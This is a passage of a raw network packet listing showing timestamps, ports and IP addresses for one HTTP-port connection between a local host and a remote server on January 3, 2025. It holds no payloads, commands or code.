Jan 3, 2025 15:21:27.200807095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200817108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200831890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200845957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200860023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200874090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200886011 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200916052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200930119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200942993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200957060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200972080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200978994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200984955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201018095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201023102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201036930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201050043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201064110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201077938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201081038 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201092958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201106071 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201108932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201122999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201129913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201136112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201145887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201169968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201176882 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201184988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201200008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201270103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201282978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201297045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201309919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201313972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201323986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201339960 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201359034 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201385975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201400995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201442957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201456070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201471090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201481104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201483965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201493979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201499939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201514006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201528072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201531887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201541901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201555014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201555967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201591015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201606989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201622009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201636076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201651096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201663971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.201677084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.201713085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.202534914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.217977047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218069077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218080997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218118906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218132019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218144894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218166113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218168020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218187094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218202114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218214035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218223095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218228102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218239069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218245029 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218252897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218255043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218266964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218280077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218283892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218300104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218312979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218313932 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218346119 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218358994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218394995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218441010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218456984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218471050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218487978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218508959 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218535900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218539000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218559980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218575001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218589067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218616009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218616009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218641043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218641996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.218662024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218677044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218692064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.218719959 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.221239090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221302032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221422911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221437931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221462011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221491098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221493959 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.221508026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221520901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221534967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221538067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.221549988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221560001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.221564054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221577883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.221577883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221594095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221601009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.221606970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221621037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221626043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.221635103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.221666098 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.267337084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.290745974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.290851116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.290910006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.290914059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.290935040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.290950060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.290966988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.290981054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.290983915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291007996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291022062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291027069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291038036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291047096 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291052103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291071892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291080952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291105986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291112900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291137934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291172028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291188002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291202068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291219950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291224957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291235924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291250944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291260958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291265965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291343927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291368008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291382074 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291383028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291399002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291408062 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291414976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291429043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291435003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291441917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291456938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291471958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291476965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291496038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291506052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291511059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291521072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291529894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291567087 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291577101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291610956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291631937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291650057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291663885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291677952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291701078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291744947 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291748047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291790009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291805029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291835070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291857958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291857958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291874886 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291877031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291917086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291946888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291948080 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.291961908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291976929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.291990995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292006016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292020082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292020082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292037010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292049885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292056084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292067051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292078018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292083025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292098045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292109013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292135954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292197943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292233944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292248964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292274952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292278051 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292296886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292314053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292330027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292372942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292387962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292412996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292418957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292435884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292438030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292468071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292475939 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292483091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292520046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292522907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292536974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292550087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292566061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292571068 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292582035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292598009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292613983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292618990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292629004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292643070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292643070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292658091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292666912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292674065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292686939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.292692900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.292726040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.294116020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.309186935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309207916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309233904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309240103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309246063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309251070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309257030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309262037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309268951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309277058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309298038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309303045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309309006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309319973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309324980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309348106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309377909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309389114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309391975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.309433937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.309444904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309458971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309468031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309473038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309478045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309508085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309518099 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.309542894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309561968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309567928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.309568882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309575081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309669971 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.309673071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309760094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.309849024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.313184977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313198090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313204050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313210011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313220978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313232899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313245058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313256025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313267946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313270092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.313278913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313294888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313307047 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.313324928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313332081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313343048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313349962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313354015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.313361883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.313515902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.381755114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381783962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381798029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381809950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381833076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.381861925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.381947994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381959915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381970882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381980896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.381992102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382003069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382013083 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382019043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382031918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382042885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382054090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382055044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382069111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382076979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382095098 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382096052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382107973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382134914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382213116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382225037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382236004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382262945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382262945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382277012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382287025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382296085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382306099 CET	80	49829	185.215.113.16	192.168.2.6
